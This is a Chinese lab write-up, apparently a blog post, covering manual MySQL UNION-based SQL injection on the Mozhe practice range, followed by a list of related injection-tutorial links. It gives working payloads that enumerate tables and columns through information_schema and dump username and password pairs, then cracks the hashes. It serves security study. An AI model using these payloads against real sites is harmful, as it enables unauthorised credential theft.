墨者靶场- mysql注入

1、先判断是否存在sql注入，使用单引号报错

2、使用and 1=1 正常

and 1=2 报错

3、使用order by判断字段数

4、使用union select判断哪些字符存在注入点

5、使用函数进行信息收集

1、爆破数据库名

直接使用database()函数

2、爆破表名（由上面知数据库的版本为高版本，自带information_achema数据库)

-1 union select 1, 2,group_concat(table_name) ,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

使用group_concat()函数，查询所有的表

3、查询列名

id=-1 union select 1, 2,group_concat(column_name) ,4 from information_schema.columns where table_name='StormGroup_member'

4、爆数据

id=-1 union select 1, 2,group_concat(concat_ws('~',name,password)) ,4 from mozhe_Discuz_StormGroup.StormGroup_member

5、在cmd5解密工具，对加密密码解密

墨者靶场- mysql注入相关推荐

墨者靶场--手工注入mysql数据库
跟着小迪老师学习了sql注入,拿个靶场来练习一下自己也算是复习巩固之前学到的东西,下面让我们来一起吃西瓜把首先我们先进入我们的墨者靶场,嘿嘿嘿一块墨币还算好要玩这个靶场主要要明白数据库的结构,和 ...
墨者学院mysql注入_【墨者学院】：SQL注入漏洞测试(delete注入)
0x00.题目描述: 背景介绍最近有人匿名给工程师留言说,感谢他的辛勤付出,把墨者学院建设的这么好,不料激发了工程师对留言板的一波操作,轻松查到了这个人的身份. 实训目标 1.熟练掌握留言板的工作原 ...
墨者靶场-SQL手工注入漏洞测试(MySQL数据库-字符型)
0x00 前言我们都知道,SQL注入分数字型和字符型,我们上次讲的是最基本的数字型SQL注入,这次我们就来讲最基本的字符型SQL注入.同样,如果是明白原理和方法的话,看懂这篇文章并不难,但是如果不清 ...
Pikachu靶场-SQL注入-搜索型注入过关步骤
Pikachu靶场-SQL注入-搜索型注入过关步骤首先要明白MySQL数据库模糊搜索的语句,like '常%'.like '%常'.like '%常%' 这个几个,这里就不详说这个语句了判断注入点 ...
Python全栈（五）Web安全攻防之7.MySQL注入读写文件和HTTP头中的SQL注入
文章目录一.MySQL注入读写文件 1.搭建新的测试环境(靶场) 2.读写文件概述 3.读取文件 4.写入文件二.HTTP头中的SQL注入 1.HTTP头中的SQL注入介绍 updatexml函数 ...
iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入（时间型盲注）
系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的 ...
concat mysql sql注入_sql注入-mysql注入基础及常用注入语句
最近在教学中,关于SQL注入,总发现学生理解起来有些难度,其实主要的原因是对各类数据库以及SQL语句不熟悉,今天先介绍mysql注入需要掌握的基础, Mysql内置information_schema ...
MySQL注入中报错的利用
MySQL注入中报错的利用在很多的情况下我们不能直接方便的进行注入,于是有了BENCHMARK延迟注射,如果能得到MySQL的错误信息的话,现在又有了更方便的方法. 网上流传了两三种方法,以前我在 ...
mysql内置变量_详解MySQL注入利用的变量
MySQL注入数据库时,我们可以利用内置的变量来得到更多的mysql信息,下面就让我们一起来了解MySQL注入利用的变量. 当我们注射mysql库的输入点的时候,可以通过version()/user( ...

墨者靶场- mysql注入

墨者靶场- mysql注入相关推荐

最新文章

热门文章